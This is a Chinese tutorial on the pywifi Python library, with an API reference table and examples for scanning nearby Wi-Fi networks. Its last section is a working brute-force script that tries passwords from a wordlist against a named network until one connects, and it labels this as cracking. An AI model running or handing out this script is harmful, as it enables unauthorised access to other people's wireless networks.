简介
关于无线网络的模块
安装
pip install pywifi
pip install comtypes
参数列表
获取网卡接口 | pywifi.PyWiFi() |
获取第一个无线网卡 | pywifi.PyWiFi().interfaces[0] |
interface类下的函数 | |
获取无线网卡名称 | name() |
调用无线网卡扫描可用的无线网络(AP) | scan() |
获取scan函数的扫描结果, 返回的是Profile对象列表 | scan_results() |
添加特定无线网络(AP)以便后续连接 | add_network_profile() |
移除指定的无线网络(AP) | remove_network_profile() |
删除所有AP配置文件 (为了下一次新的连接) | remove_all_network_profiles() |
获取保存的所有无线网络(AP) (连接上wifi的时候可以用这个试试,返回连接的wifi的信息) | network_profiles() |
连接指定的无线网络(AP) | connect() |
断掉当前无线网络连接 | disconnect() |
获取当前无线网络连接状态 | status() |
Profile() | 创建wifi连接文件 |
Profile().ssid | wifi名称 |
Profile().auth | 网卡的开放状态 | auth-AP的认证算法 【例子】 Profile().auth=const.AUTH_ALG_OPEN |
akm(AP的密钥管理类型) | |
const.AKM_TYPE_NONE | AP没有安全设置 |
const.AKM_TYPE_WPAPSK | AP处于WPA模式 |
const.AKM_TYPE_WPA2PSK | AP处于WPA2模式 |
cipher (AP的密码类型) | |
const.CIPHER_TYPE_NONE | 如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE |
const.CIPHER_TYPE_WEP | |
const.CIPHER_TYPE_TKIP | |
const.CIPHER_TYPE_CCMP | 多数情况设置 |
参考代码
简单例子
import time
import pywifi
from pywifi import const
""" 获取网卡接口 """
wifi = pywifi.PyWiFi()
""" 获取第一个无线网卡 """
iface = wifi.interfaces()[0]
""" 扫描周围wifi列表 """
def wifi_list():
# 开始扫描
print("扫描附近wifi...")
iface.scan()
time.sleep(15)
# 在若干秒后获取扫描结果
device = iface.scan_results()
# 统计附近被发现的热点数量
nums = len(device)
print("数量: %s" % (nums))
# 实际数据
wifi_info(device)
return device
def wifi_info(scans_res):
for i, w in enumerate(scans_res):
print(
"index: {}\t device: {}\t else:{}\t strong : {}".format(
i + 1, w.ssid, w.bssid, w.signal
)
)
wifi_list()
综合例子
import pywifi
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
res = iface.scan_results()
print(res)
''' 扫描WIFI(包括信号强度) '''
def lookWifi():
import time
import pywifi
from pywifi import const # 获取连接状态的常量库
''' 初始化wifi '''
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
# 设置时间缓冲
for i in range(4):
time.sleep(1)
print("扫描可用 WiFi 中,请稍后。。。" + str(3 - i), end="")
# 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
# 解决乱码问题
wifi_name_and_signal = (
100 + w.signal,
w.ssid.encode("raw_unicode_escape").decode("utf-8"),
)
wifi_name_set.add(wifi_name_and_signal)
# 存入列表并按信号排序
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# 格式化输出
while num < len(wifi_name_list):
print(
"编号: {:<;6d}信号强度: {:<;8d}SSID: {}".format(
num, wifi_name_list[num][0], wifi_name_list[num][1]
)
)
num += 1
# 返回wifi列表
return wifi_name_list
print(lookWifi())
进阶例子
import time
import pywifi
from pywifi import const # 获取连接状态的常量库
def wifi_connect(ifaces, pwd):
ifaces.disconnect() # 断开网卡连接
time.sleep(1)
wifistatus = ifaces.status() # 获取wifi的连接状态
# 网卡断开链接后开始连接测试
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile() # 创建wifi连接文件
profile.ssid = "KWANG SOO" # 要连接的wifi的名称 貌似不能用中文?
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放状态 | auth - AP的认证算法
profile.akm.append(const.AKM_TYPE_WPA2PSK) # @注释 / wifi的加密算法
# 一般wifi加密算法时wps
# 选择wifi加密方式 akm - AP的密钥管理类型
# -------------------------------------- /
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元(cipher - AP的密码类型)
profile.key = pwd # @注释 / 调用密码
# wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
# ------------------------------------------------- /
ifaces.remove_all_network_profiles() # 删除所有连接过的wifi文件
# 添加AP配置文件(为了连接)加载新的连接文件ifaces.connect(tep_profile) 参数:(配置文件名)
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi连接时间
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True # 条件为真 说明找到密码
else:
return False
else:
print("已有wifi连接")
def wifi_running():
wifi = pywifi.PyWiFi() # 获取网卡接口
ifaces = wifi.interfaces()[0] # 获取第一个无线网卡
print("开始破解:")
path = "password.txt" # 密码本路径(格式:测试的密码/行)
f = open(path, "r") # 打开文件
while True:
try:
# 按行读取
password = f.readline()
password = password[:-1] # 去除一行末的换行符
bool = wifi_connect(ifaces, password)
print(bool)
if bool:
print("密码已破解:", password)
print("wifi已连接!")
ifaces.network_profiles() # 连接上wifi的时候,返回连接的wifi信息
break
else:
print("密码破解中,密码校对:", password)
if not password:
print("文件已读取完,退出。")
f.close()
break
except:
# continue
print("error")
wifi_running()